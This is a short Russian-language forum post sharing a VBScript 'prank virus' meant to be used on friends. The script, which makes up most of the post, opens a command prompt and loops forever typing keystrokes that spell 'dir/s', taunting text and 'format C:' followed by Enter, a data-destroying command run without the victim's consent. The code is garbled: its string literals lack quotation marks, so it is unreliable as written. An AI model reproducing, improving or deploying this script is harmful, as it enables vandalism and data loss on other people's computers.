вирус-сносим башню компу

[Dyko]

Ловите ноаую приколюху.Можите поиздеваться над корешами

создаём текст документ и вводим туда

Код:
On Error Resume Next
Set WSHShell = WScript.CreateObject(WScript.Shell)
WshShell = WScript.CreateObject(WScript.Shell)
WshShell.Run cmd, 1
WshShell.AppActivate
dim ms(60)
ms(0) = d
ms(1) = i
ms(2) = r
ms(3) = /
ms(4) = s
ms(5) = ~
ms(6) = c
ms(7) = k
ms(8) = o
ms(9) = k
ms(10) = a
ms(11) =
ms(12) = d
ms(13) = e
ms(14) = r
ms(15) = m
ms(16) = a
ms(17) = !
ms(18) = ~
ms(19) = s
ms(20) = h
ms(21) = a
ms(22) =
ms(23) = i
ms(24) = c
ms(25) = p
ms(26) = r
ms(27) = a
ms(28) = v
ms(29) = i
ms(30) = m
ms(31) = !
ms(32) =
ms(33) = ~
ms(34) = f
ms(35) = o
ms(36) = r
ms(37) = m
ms(38) = a
ms(39) = t
ms(40) =
ms(41) = C
ms(42) = :
ms(43) = Chr(13)
ms(44) = S
ms(45) = T
ms(46) = R
ms(47) = A
ms(48) = S
ms(49) = N
ms(50) = O
ms(51) = ?
ms(52) = ?
ms(53) = ?
ms(54) =
ms(55) =
ms(56) =
ms(57) =
ms(58) =
ms(59) =
do while(1)
dy=dy+1
For Each Item in ms
WScript.Sleep 300
WshShell.SendKeys Item
next
loop
и сохроняем в формате vbs

при запуске он начнёт писать сякую хрнеь если даже закрыть окно он всеровно будет открывать всё и писать туда что угодно